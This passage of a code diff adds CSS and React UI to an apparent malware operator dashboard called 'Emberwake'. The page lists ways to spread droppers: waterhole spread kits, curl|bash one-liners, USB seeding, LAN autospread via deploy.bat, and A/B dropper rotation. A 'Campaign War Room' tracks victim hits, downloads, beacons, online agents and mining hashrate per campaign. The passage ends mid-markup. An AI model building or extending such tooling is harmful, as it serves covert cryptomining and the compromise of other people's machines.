margin: 0;
@@ -49,3 +69,771 @@
flex-wrap: wrap;
align-items: center;
}
.emberwake-page .spread-section--war-room {
border-left: 4px solid #f43f5e;
}
.war-room-toolbar {
display: flex;
flex-wrap: wrap;
gap: 0.75rem;
align-items: center;
justify-content: space-between;
margin-bottom: 0.75rem;
font-size: 0.8rem;
color: var(--text-dim, #aaa);
}
.war-room-table-wrap {
overflow-x: auto;
}
.war-room-table {
width: 100%;
border-collapse: collapse;
font-size: 0.82rem;
}
.war-room-table th,
.war-room-table td {
padding: 0.45rem 0.6rem;
text-align: right;
border-bottom: 1px solid #222a38;
}
.war-room-table th:first-child,
.war-room-table td:first-child {
text-align: left;
}
.war-room-table th {
color: var(--text-dim, #aaa);
font-weight: 600;
font-size: 0.72rem;
text-transform: uppercase;
letter-spacing: 0.04em;
}
.war-room-table tbody tr:hover {
background: rgba(61, 214, 198, 0.04);
}
.war-room-sparkline {
display: flex;
align-items: flex-end;
gap: 2px;
height: 28px;
min-width: 72px;
}
.war-room-sparkline span {
flex: 1;
min-width: 4px;
background: linear-gradient(180deg, #3dd6c6 0%, #1a6b62 100%);
border-radius: 2px 2px 0 0;
opacity: 0.85;
}
.war-room-conv {
color: #c9a227;
font-variant-numeric: tabular-nums;
}
.war-room-online {
color: #3dd6c6;
}
.war-room-empty {
margin: 0;
font-size: 0.85rem;
color: var(--text-dim, #aaa);
}
.emberwake-page .spread-section--violet {
border-left: 4px solid #a78bfa;
}
.supply-chain-wizard-header {
margin-bottom: 0.75rem;
}
.supply-chain-family-tabs {
display: flex;
gap: 0.5rem;
margin-bottom: 0.75rem;
flex-wrap: wrap;
}
.supply-chain-family-tab {
padding: 0.35rem 0.85rem;
border-radius: 999px;
border: 1px solid #2a3040;
background: #0d1018;
color: var(--text-dim, #aaa);
font-size: 0.82rem;
cursor: pointer;
}
.supply-chain-family-tab.active {
border-color: #a78bfa;
color: #e9d5ff;
box-shadow: 0 0 12px rgba(167, 139, 250, 0.25);
}
.supply-chain-step-rail {
margin: 0.75rem 0 1rem;
}
.supply-chain-step-num {
display: inline-flex;
align-items: center;
justify-content: center;
width: 1.1rem;
height: 1.1rem;
border-radius: 50%;
background: rgba(167, 139, 250, 0.2);
font-size: 0.65rem;
}
.supply-chain-step-panel {
padding: 0.75rem 0;
border-top: 1px solid #222a38;
border-bottom: 1px solid #222a38;
margin-bottom: 0.75rem;
}
.supply-chain-preview {
margin-top: 0.75rem;
padding: 0.65rem 0.75rem;
background: rgba(0, 0, 0, 0.25);
border-radius: 6px;
border: 1px solid #222a38;
}
.supply-chain-preview-url {
display: block;
font-size: 0.72rem;
word-break: break-all;
margin-bottom: 0.35rem;
}
.supply-chain-download-meta {
margin: 0 0 0.75rem;
padding-left: 1.1rem;
font-size: 0.85rem;
}
.supply-chain-download-meta li {
margin-bottom: 0.35rem;
}
.supply-chain-export-actions {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
align-items: center;
}
.supply-chain-wizard-nav {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
margin-bottom: 0.75rem;
}
.supply-chain-quick-export {
padding-top: 0.5rem;
border-top: 1px dashed #2a3040;
}
.supply-chain-checklist {
list-style: none;
margin: 0 0 1rem;
padding: 0;
}
.supply-chain-checklist li {
margin-bottom: 0.5rem;
font-size: 0.88rem;
}
.supply-chain-checklist label {
display: flex;
gap: 0.5rem;
align-items: flex-start;
cursor: pointer;
}
.supply-chain-checklist-done {
color: var(--neon-green, #6f6);
font-size: 0.85rem;
margin: 0 0 0.75rem;
}
.supply-chain-checklist-actions {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
align-items: center;
}
/* ── Post-export deployment reel (checklist modal) ── */
.supply-chain-deployment-reel {
position: relative;
margin: 0 0 1.1rem;
padding: 0.85rem 1rem;
border-radius: 10px;
border: 1px solid rgba(61, 214, 198, 0.28);
background: linear-gradient(135deg, rgba(61, 214, 198, 0.06) 0%, rgba(244, 63, 94, 0.04) 100%);
overflow: hidden;
}
.supply-chain-deployment-reel-title {
margin: 0 0 0.65rem;
font-size: 0.72rem;
letter-spacing: 0.08em;
text-transform: uppercase;
color: var(--neon-cyan, #3dd6c6);
font-family: var(--font-tech, monospace);
}
.supply-chain-deployment-reel-steps {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.45rem;
}
.supply-chain-deployment-reel-step {
display: flex;
align-items: center;
gap: 0.55rem;
font-size: 0.88rem;
opacity: 0.35;
transform: translateX(-4px);
transition: opacity 0.35s ease, transform 0.35s ease;
}
.supply-chain-deployment-reel-step--active {
opacity: 0.85;
transform: translateX(0);
}
.supply-chain-deployment-reel-step--done {
opacity: 1;
transform: translateX(0);
}
.supply-chain-deployment-reel-step--animating .supply-chain-deployment-reel-check {
animation: supply-chain-reel-pulse 0.9s ease-in-out;
}
.supply-chain-deployment-reel-check {
display: inline-flex;
align-items: center;
justify-content: center;
width: 1.35rem;
height: 1.35rem;
border-radius: 50%;
border: 1px solid #2a3040;
font-size: 0.75rem;
flex-shrink: 0;
color: var(--text-secondary);
background: rgba(0, 0, 0, 0.35);
}
.supply-chain-deployment-reel-step--done .supply-chain-deployment-reel-check {
border-color: rgba(111, 255, 111, 0.55);
color: var(--neon-green, #6f6);
background: rgba(111, 255, 111, 0.12);
animation: supply-chain-reel-check-pop 0.45s cubic-bezier(0.34, 1.56, 0.64, 1);
}
.supply-chain-deployment-reel-step--active .supply-chain-deployment-reel-check {
border-color: rgba(61, 214, 198, 0.5);
color: var(--neon-cyan, #3dd6c6);
}
.supply-chain-deployment-reel-label a {
color: var(--neon-cyan, #3dd6c6);
text-decoration: underline;
text-underline-offset: 2px;
}
.supply-chain-deployment-reel--complete {
box-shadow: 0 0 28px rgba(61, 214, 198, 0.12);
}
.supply-chain-deployment-reel-glow {
position: absolute;
inset: -20%;
background: radial-gradient(circle at 50% 50%, rgba(61, 214, 198, 0.15), transparent 55%);
pointer-events: none;
animation: supply-chain-reel-glow 1.2s ease-out forwards;
}
.supply-chain-deployment-reel--complete::after {
content: '';
position: absolute;
inset: 0;
pointer-events: none;
background-image:
radial-gradient(circle at 15% 20%, rgba(244, 63, 94, 0.35) 0 2px, transparent 3px),
radial-gradient(circle at 78% 28%, rgba(61, 214, 198, 0.4) 0 2px, transparent 3px),
radial-gradient(circle at 42% 72%, rgba(250, 204, 21, 0.35) 0 2px, transparent 3px),
radial-gradient(circle at 88% 65%, rgba(167, 139, 250, 0.35) 0 2px, transparent 3px),
radial-gradient(circle at 25% 55%, rgba(61, 214, 198, 0.3) 0 1.5px, transparent 2.5px);
opacity: 0;
animation: supply-chain-reel-confetti 0.8s ease-out 0.1s forwards;
}
@keyframes supply-chain-reel-check-pop {
0% { transform: scale(0.4); opacity: 0; }
70% { transform: scale(1.15); }
100% { transform: scale(1); opacity: 1; }
}
@keyframes supply-chain-reel-pulse {
0%, 100% { box-shadow: 0 0 0 rgba(61, 214, 198, 0); }
50% { box-shadow: 0 0 12px rgba(61, 214, 198, 0.45); }
}
@keyframes supply-chain-reel-glow {
from { opacity: 0.6; }
to { opacity: 0; }
}
@keyframes supply-chain-reel-confetti {
from { opacity: 0; transform: scale(0.95); }
to { opacity: 1; transform: scale(1); }
}
.war-room-toolbar-right {
display: flex;
flex-wrap: wrap;
gap: 0.75rem;
align-items: center;
}
.war-room-view-toggle {
display: flex;
gap: 0.35rem;
flex-wrap: wrap;
}
/* ── Constellation force graph ── */
.war-room-constellations {
width: 100%;
}
.war-room-constellations-svg {
display: block;
width: 100%;
height: auto;
border-radius: 10px;
border: 1px solid #2a3040;
background: linear-gradient(160deg, #0a0d14 0%, #12101a 45%, #0c0f16 100%);
box-shadow: inset 0 0 40px rgba(61, 214, 198, 0.04);
}
.war-room-constellation-edge {
stroke: rgba(61, 214, 198, 0.18);
stroke-dasharray: 4 6;
transition: stroke 0.2s ease, stroke-width 0.2s ease;
}
.war-room-constellation-edge--lit {
stroke: rgba(201, 162, 39, 0.55);
stroke-dasharray: none;
}
.war-room-constellation-halo {
opacity: 0.22;
pointer-events: none;
transform-origin: center;
transform-box: fill-box;
animation: constellation-pulse 2.4s ease-in-out infinite;
}
.war-room-constellation-node--hover circle:nth-of-type(2) {
filter: url(#constellation-glow);
}
.war-room-constellation-label {
font-size: 0.62rem;
fill: #9aa3b5;
font-family: var(--font-mono, ui-monospace, monospace);
pointer-events: none;
user-select: none;
}
.war-room-constellation-legend {
margin: 0.55rem 0 0;
font-size: 0.78rem;
}
.war-room-funnel-card--highlighted {
border-color: rgba(201, 162, 39, 0.65);
box-shadow:
0 0 28px rgba(201, 162, 39, 0.18),
0 0 48px rgba(61, 214, 198, 0.08);
animation: constellation-card-flash 2.8s ease-out;
}
@keyframes constellation-pulse {
0%, 100% { opacity: 0.1; transform: scale(1); }
50% { opacity: 0.42; transform: scale(1.12); }
}
@keyframes constellation-card-flash {
0% { outline: 2px solid rgba(201, 162, 39, 0.7); outline-offset: 2px; }
100% { outline: 2px solid transparent; outline-offset: 6px; }
}
/* ── Funnel board ── */
.war-room-funnel-board {
display: grid;
gap: 1rem;
grid-template-columns: repeat(auto-fill, minmax(320px, 1fr));
}
.war-room-funnel-board--alive .war-room-funnel-card {
animation: war-room-card-alive 0.9s ease-out;
}
.war-room-funnel-card {
position: relative;
padding: 1rem 1.1rem;
border-radius: 10px;
border: 1px solid #2a3040;
background: linear-gradient(145deg, #141a24 0%, #0c0f16 55%, #12101a 100%);
box-shadow: 0 0 24px rgba(244, 63, 94, 0.06);
overflow: hidden;
animation-delay: var(--card-stagger, 0s);
}
.war-room-funnel-card::before {
content: '';
position: absolute;
inset: 0;
background: radial-gradient(ellipse at top left, rgba(61, 214, 198, 0.08), transparent 55%);
pointer-events: none;
}
.war-room-funnel-card-head {
display: flex;
justify-content: space-between;
align-items: flex-start;
gap: 0.5rem;
margin-bottom: 0.85rem;
position: relative;
}
.war-room-funnel-slug {
font-size: 0.95rem;
color: #f43f5e;
}
.war-room-funnel-meta {
display: block;
font-size: 0.72rem;
color: var(--text-dim, #888);
margin-top: 0.15rem;
}
.war-room-funnel-head-stats {
display: flex;
flex-direction: column;
align-items: flex-end;
gap: 0.2rem;
font-size: 0.75rem;
}
.war-room-funnel-overall {
color: #c9a227;
font-variant-numeric: tabular-nums;
}
.war-room-funnel-online {
color: #3dd6c6;
}
.war-room-funnel-pipeline {
display: flex;
align-items: stretch;
gap: 0.15rem;
overflow-x: auto;
padding-bottom: 0.35rem;
position: relative;
}
.war-room-funnel-stage {
display: flex;
align-items: center;
flex: 1;
min-width: 4.5rem;
}
.war-room-funnel-node {
display: flex;
flex-direction: column;
align-items: center;
text-align: center;
min-width: 3.5rem;
z-index: 1;
}
.war-room-funnel-node-label {
font-size: 0.62rem;
text-transform: uppercase;
letter-spacing: 0.05em;
color: var(--text-dim, #888);
white-space: nowrap;
}
.war-room-funnel-node-value {
font-size: 0.9rem;
font-weight: 700;
font-variant-numeric: tabular-nums;
color: #e8eaef;
line-height: 1.2;
}
.war-room-funnel-node-rate {
font-size: 0.65rem;
color: #3dd6c6;
font-variant-numeric: tabular-nums;
}
.war-room-funnel-node-rate--low {
color: #fbbf24;
animation: war-room-pulse 2s ease-in-out infinite;
}
.war-room-funnel-pipe {
position: relative;
flex: 1;
height: 6px;
min-width: 12px;
margin: 0 0.1rem;
background: #1a2030;
border-radius: 3px;
overflow: hidden;
align-self: center;
}
.war-room-funnel-pipe--flowing {
box-shadow: inset 0 0 6px rgba(61, 214, 198, 0.08);
}
.war-room-funnel-pipe-fill {
display: block;
height: 100%;
width: var(--pipe-fill, 8%);
background: linear-gradient(
90deg,
#f43f5e 0%,
#ff6b2c 25%,
#ffd166 50%,
#3dd6c6 75%,
#f43f5e 100%
);
background-size: 220% 100%;
border-radius: 3px;
animation: war-room-flow 1.15s linear infinite;
animation-delay: var(--pipe-stagger, 0s);
box-shadow: 0 0 10px rgba(61, 214, 198, 0.45), 0 0 4px rgba(244, 63, 94, 0.25);
}
.war-room-funnel-pipe-shimmer {
position: absolute;
inset: 0;
width: 40%;
background: linear-gradient(
90deg,
transparent 0%,
rgba(255, 255, 255, 0.18) 45%,
transparent 100%
);
animation: war-room-pipe-shimmer 1.8s ease-in-out infinite;
animation-delay: var(--pipe-stagger, 0s);
pointer-events: none;
opacity: 0.7;
}
.war-room-funnel-arrow {
color: #4a5568;
font-size: 0.7rem;
flex-shrink: 0;
animation: war-room-arrow-nudge 1.8s ease-in-out infinite;
}
.war-room-funnel-card-foot {
display: flex;
align-items: flex-end;
justify-content: space-between;
gap: 0.75rem;
margin-top: 0.75rem;
padding-top: 0.65rem;
border-top: 1px solid #222a38;
}
.war-room-sparkline--card {
flex: 1;
max-width: 160px;
}
.war-room-sparkline-label {
font-size: 0.62rem;
color: var(--text-dim, #888);
margin-right: 0.35rem;
align-self: flex-end;
}
.war-room-funnel-hash {
font-size: 0.82rem;
color: #c9a227;
font-variant-numeric: tabular-nums;
}
.war-room-leak {
display: flex;
gap: 0.6rem;
align-items: flex-start;
margin-top: 0.75rem;
padding: 0.55rem 0.65rem;
border-radius: 6px;
font-size: 0.78rem;
}
.war-room-leak--critical {
background: rgba(244, 63, 94, 0.12);
border: 1px solid rgba(244, 63, 94, 0.35);
animation: war-room-leak-glow 2s ease-in-out infinite;
}
.war-room-leak--warn {
background: rgba(251, 191, 36, 0.08);
border: 1px solid rgba(251, 191, 36, 0.3);
}
.war-room-leak--clear {
background: rgba(61, 214, 198, 0.06);
border: 1px solid rgba(61, 214, 198, 0.2);
}
.war-room-leak-badge {
flex-shrink: 0;
font-size: 0.62rem;
font-weight: 700;
letter-spacing: 0.08em;
padding: 0.15rem 0.35rem;
border-radius: 3px;
background: rgba(0, 0, 0, 0.35);
}
.war-room-leak--critical .war-room-leak-badge {
color: #f43f5e;
}
.war-room-leak--warn .war-room-leak-badge {
color: #fbbf24;
}
.war-room-leak--clear .war-room-leak-badge {
color: #3dd6c6;
}
.war-room-leak-msg {
margin: 0;
color: #e8eaef;
line-height: 1.35;
}
.war-room-leak-action {
margin: 0.25rem 0 0;
color: var(--text-dim, #aaa);
font-size: 0.72rem;
line-height: 1.35;
}
/* ── Odometer counters ── */
.war-room-odometer {
position: relative;
display: inline-flex;
align-items: baseline;
gap: 0.25rem;
font-variant-numeric: tabular-nums;
}
.war-room-odometer-value {
display: inline-block;
}
.war-room-odometer--pulse .war-room-odometer-value {
animation: war-room-odometer-glow 0.7s ease-out;
text-shadow: 0 0 12px rgba(61, 214, 198, 0.55);
}
.war-room-odometer-delta {
font-size: 0.62em;
font-weight: 600;
color: #3dd6c6;
opacity: 0;
animation: war-room-delta-pop 0.85s ease-out forwards;
letter-spacing: 0.02em;
}
.war-room-table .war-room-odometer {
justify-content: flex-end;
width: 100%;
}
@keyframes war-room-flow {
0% { background-position: 0% 50%; opacity: 0.88; filter: brightness(1); }
50% { background-position: 100% 50%; opacity: 1; filter: brightness(1.25); }
100% { background-position: 200% 50%; opacity: 0.88; filter: brightness(1); }
}
@keyframes war-room-pipe-shimmer {
0% { transform: translateX(-120%); opacity: 0; }
35% { opacity: 0.85; }
100% { transform: translateX(280%); opacity: 0; }
}
@keyframes war-room-card-alive {
0% { box-shadow: 0 0 0 rgba(61, 214, 198, 0); border-color: #2a3040; }
40% { box-shadow: 0 0 28px rgba(61, 214, 198, 0.18); border-color: rgba(61, 214, 198, 0.35); }
100% { box-shadow: 0 0 24px rgba(244, 63, 94, 0.06); border-color: #2a3040; }
}
@keyframes war-room-odometer-glow {
0% { color: inherit; transform: scale(1); }
35% { color: #3dd6c6; transform: scale(1.06); }
100% { color: inherit; transform: scale(1); }
}
@keyframes war-room-delta-pop {
0% { opacity: 0; transform: translateY(4px); }
25% { opacity: 1; transform: translateY(0); }
75% { opacity: 1; }
100% { opacity: 0; transform: translateY(-3px); }
}
@keyframes war-room-arrow-nudge {
0%, 100% { transform: translateX(0); opacity: 0.5; }
50% { transform: translateX(2px); opacity: 1; }
}
@keyframes war-room-pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.55; }
}
@keyframes war-room-leak-glow {
0%, 100% { box-shadow: 0 0 0 rgba(244, 63, 94, 0); }
50% { box-shadow: 0 0 12px rgba(244, 63, 94, 0.2); }
}

View File

@@ -1,6 +1,6 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { api } from '../api/client';
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import {
combinedDropperQuery,
commandOneliner,
@@ -8,9 +8,23 @@ import {
publicDownloadUrl,
shOneliner,
} from '../help/emberwake';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
spreadTechniqueDocUrl,
} from '../help/spreadTechniques';
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
import { useWebSocket } from '../hooks/useWebSocket';
import { usePresence } from '../context/PresenceContext';
import AlsoHere from '../components/Presence/AlsoHere';
import ComradeAvatar from '../components/Presence/ComradeAvatar';
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
import './Pages.css';
import './EmberwakePage.css';
import '../components/Presence/Presence.css';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
@@ -27,8 +41,14 @@ function CopyChip({ text, label }: { text: string; label: string }) {
);
}
const NOTES_TYPING_DEBOUNCE_MS = 400;
const NOTES_TYPING_IDLE_MS = 2000;
const WAR_ROOM_DAYS = 7;
const WAR_ROOM_POLL_MS = 15_000;
export default function EmberwakePage() {
const { latestMessage } = useWebSocket();
const { notesTyping, sendNotesTyping } = usePresence();
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [serverBase, setServerBase] = useState('');
@@ -37,30 +57,41 @@ export default function EmberwakePage() {
const [pinB, setPinB] = useState('');
const [notes, setNotes] = useState('');
const [notesMeta, setNotesMeta] = useState('');
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
const [warRoomUpdated, setWarRoomUpdated] = useState('');
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
const [exportBusy, setExportBusy] = useState(false);
const [siteName, setSiteName] = useState('my-blog');
const [notesBusy, setNotesBusy] = useState(false);
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const typingActiveRef = useRef(false);
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
const loadWarRoom = useCallback(async () => {
const data = await api.getWarRoom(WAR_ROOM_DAYS);
setWarRoom(data);
setWarRoomUpdated(data.generated_at);
}, []);
const load = useCallback(async () => {
const [b, info, cfg, pub, camp, n] = await Promise.all([
const [b, info, cfg, pub, n] = await Promise.all([
api.listBuilds(),
api.getServerInfo(),
api.getConfig(),
api.listPublicBuilds(),
api.listCampaignHits(),
api.getEmberwakeNotes(),
]);
setBuilds(b);
const pubUrl = cfg.server?.public_url?.trim();
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
setPublicBuilds(pub.builds);
setCampaigns(camp.campaigns);
setNotes(n.content);
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
void loadWarRoom().catch(() => {});
if (!pinA) {
const p = b.find((x) => x.pinned);
if (p) setPinA(p.id);
@@ -69,22 +100,83 @@ export default function EmberwakePage() {
const alt = b.find((x) => !x.pinned) ?? b[1];
if (alt) setPinB(alt.id);
}
}, [pinA, pinB]);
}, [pinA, pinB, loadWarRoom]);
useEffect(() => {
void load().catch(() => {});
}, [load]);
useEffect(() => {
if (latestMessage?.type !== 'emberwake_notes_updated') return;
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
const id = window.setInterval(() => {
void loadWarRoom().catch(() => {});
}, WAR_ROOM_POLL_MS);
return () => window.clearInterval(id);
}, [loadWarRoom]);
useEffect(() => {
if (!latestMessage) return;
if (latestMessage.type === 'emberwake_notes_updated') {
const p = latestMessage.payload as EmberwakeNotes;
if (p && typeof p.content === 'string') {
setNotes(p.content);
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
}
return;
}
if (latestMessage.type === 'emberwake_war_room') {
const p = latestMessage.payload as WarRoomResponse;
if (p && Array.isArray(p.campaigns)) {
setWarRoom(p);
setWarRoomUpdated(p.generated_at || new Date().toISOString());
}
}
}, [latestMessage]);
const stopNotesTyping = useCallback(() => {
if (typingTimerRef.current) {
clearTimeout(typingTimerRef.current);
typingTimerRef.current = null;
}
if (typingActiveRef.current) {
typingActiveRef.current = false;
sendNotesTyping(false);
}
}, [sendNotesTyping]);
const handleNotesChange = (value: string) => {
setNotes(value);
if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
typingTimerRef.current = setTimeout(() => {
if (!typingActiveRef.current) {
typingActiveRef.current = true;
sendNotesTyping(true);
}
typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
}, NOTES_TYPING_DEBOUNCE_MS);
};
useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);
const handleConstellationSelect = useCallback((slug: string) => {
setHighlightedCampaign(slug);
setWarRoomView('funnel');
}, []);
useEffect(() => {
if (warRoomView !== 'funnel' || !highlightedCampaign) return;
const t = window.setTimeout(() => {
const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
}, 80);
const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
return () => {
window.clearTimeout(t);
window.clearTimeout(clear);
};
}, [warRoomView, highlightedCampaign]);
const saveNotes = async () => {
stopNotesTyping();
setNotesBusy(true);
try {
const n = await api.putEmberwakeNotes(notes);
@@ -108,7 +200,7 @@ export default function EmberwakePage() {
};
return (
<div className="page emberwake-page">
<div className="page emberwake-page operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
@@ -119,18 +211,32 @@ export default function EmberwakePage() {
</div>
</header>
<div className="spread-section spread-section--ember">
<AlsoHere page="/emberwake" />
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
<h3>How to spread</h3>
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
<li><strong>Web waterhole</strong> export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
<li><strong>curl | bash VPS</strong> paste one-liners below on a headless server session.</li>
<li><strong>Fusion media</strong> forge Desktop Fusion profile, seed USB or shared folders.</li>
<li><strong>LAN kindling</strong> universal spread kit + autospread; deploy.bat on reachable hosts.</li>
<li><strong>A/B droppers</strong> pin build A vs B; rotate campaign links between waves.</li>
<p className="form-hint" style={{ marginTop: 0 }}>
Operator instructions (no login):{' '}
<a href="/spread/">Spread kit landing</a>
{' · '}
Full threat-intel matrix:{' '}
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
SPREAD_TECHNIQUES.md
</a>
</p>
<ul className="emberwake-technique-list">
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
<li key={t.label}>
<strong>{t.label}</strong> {t.hint}{' '}
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
playbook §
</a>
</li>
))}
</ul>
</div>
<div className="card" style={{ marginBottom: '1rem' }}>
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
<h2>Campaign builder</h2>
<div className="form-group">
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
@@ -177,9 +283,13 @@ export default function EmberwakePage() {
)}
</div>
<div className="spread-section spread-section--cyan">
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
<h3>Spread kit export</h3>
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
<p className="form-hint">
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
{' '}
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
</p>
<div className="emberwake-ab-row">
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
@@ -188,7 +298,19 @@ export default function EmberwakePage() {
</div>
</div>
<div className="spread-section spread-section--gold">
<SupplyChainExportWizard
builds={builds}
serverBase={serverBase}
onServerBaseChange={setServerBase}
pinA={pinA}
onPinAChange={setPinA}
campaign={campaign}
onCampaignChange={setCampaign}
siteName={siteName}
onSiteNameChange={setSiteName}
/>
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
<h3>Public build URLs</h3>
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate public builds enabled).</p>
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
@@ -205,28 +327,194 @@ export default function EmberwakePage() {
</ul>
</div>
{campaigns.length > 0 && (
<div className="spread-section spread-section--violet">
<h3>Campaign hits</h3>
<ul className="emberwake-campaign-list">
{campaigns.map((c) => (
<li key={c.campaign}>
<span><code>{c.campaign}</code></span>
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
</li>
))}
</ul>
<div
id="campaign-war-room"
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
>
<h3>Campaign War Room</h3>
<div className="war-room-toolbar">
<span>
Live funnel hits downloads first beacon mining hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
</span>
<div className="war-room-toolbar-right">
<div className="war-room-view-toggle" role="group" aria-label="War room view">
<button
type="button"
className={`btn btn-sm ${warRoomView === 'funnel' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('funnel')}
>
Funnel board
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'table' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('table')}
>
Stats table
</button>
<button
type="button"
className={`btn btn-sm ${warRoomView === 'constellations' ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setWarRoomView('constellations')}
>
Constellations
</button>
</div>
<span>
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
</span>
</div>
</div>
)}
{warRoom && warRoom.campaigns.length > 0 ? (
warRoomView === 'constellations' ? (
<CampaignConstellations
campaigns={warRoom.campaigns}
onSelectCampaign={handleConstellationSelect}
/>
) : warRoomView === 'funnel' ? (
<WarRoomFunnelBoard
campaigns={warRoom.campaigns}
days={warRoom.days || WAR_ROOM_DAYS}
refreshKey={warRoomUpdated}
highlightCampaign={highlightedCampaign}
/>
) : (
<div className="war-room-table-wrap">
<table className="war-room-table">
<thead>
<tr>
<th>Campaign</th>
<th>Hits</th>
<th>Downloads</th>
<th>Beacon</th>
<th>Mining</th>
<th>Agents</th>
<th>Online</th>
<th>Hashrate</th>
<th>Conv %</th>
<th>7d trend</th>
</tr>
</thead>
<tbody>
{warRoom.campaigns.map((c, rowIndex) => {
const max = sparklineMax(c.daily_hits);
const beacon = c.first_beacon ?? c.agents;
const mining = c.mining ?? (c.hashrate > 0 ? 1 : 0);
return (
<tr key={c.campaign}>
<td>
<code>{c.campaign}</code>
{c.last_activity ? (
<span className="form-hint" style={{ display: 'block', marginTop: '0.15rem' }}>
{new Date(c.last_activity).toLocaleDateString()}
</span>
) : null}
</td>
<td>
<WarRoomOdometer
value={c.hits}
staggerMs={staggerDelayMs(rowIndex, 0)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.downloads}
staggerMs={staggerDelayMs(rowIndex, 1)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={beacon}
staggerMs={staggerDelayMs(rowIndex, 2)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={mining}
staggerMs={staggerDelayMs(rowIndex, 3)}
showDelta
/>
</td>
<td>
<WarRoomOdometer
value={c.agents}
staggerMs={staggerDelayMs(rowIndex, 4)}
/>
</td>
<td className="war-room-online">
<WarRoomOdometer
value={c.online}
staggerMs={staggerDelayMs(rowIndex, 5)}
/>
</td>
<td>
<WarRoomOdometer
value={c.hashrate}
format={(n) => formatHashrate(n)}
staggerMs={staggerDelayMs(rowIndex, 6)}
showDelta
/>
</td>
<td className="war-room-conv">
<WarRoomOdometer
value={c.conversion_pct}
format={(n) => n.toFixed(1)}
suffix="%"
staggerMs={staggerDelayMs(rowIndex, 7)}
showDelta
/>
</td>
<td>
<div className="war-room-sparkline" title={c.daily_hits.join(', ')}>
{c.daily_hits.map((v, i) => (
<span
key={i}
style={{ height: `${sparklineBarHeight(v, max)}%` }}
/>
))}
</div>
</td>
</tr>
);
})}
</tbody>
</table>
</div>
)
) : (
<p className="war-room-empty">
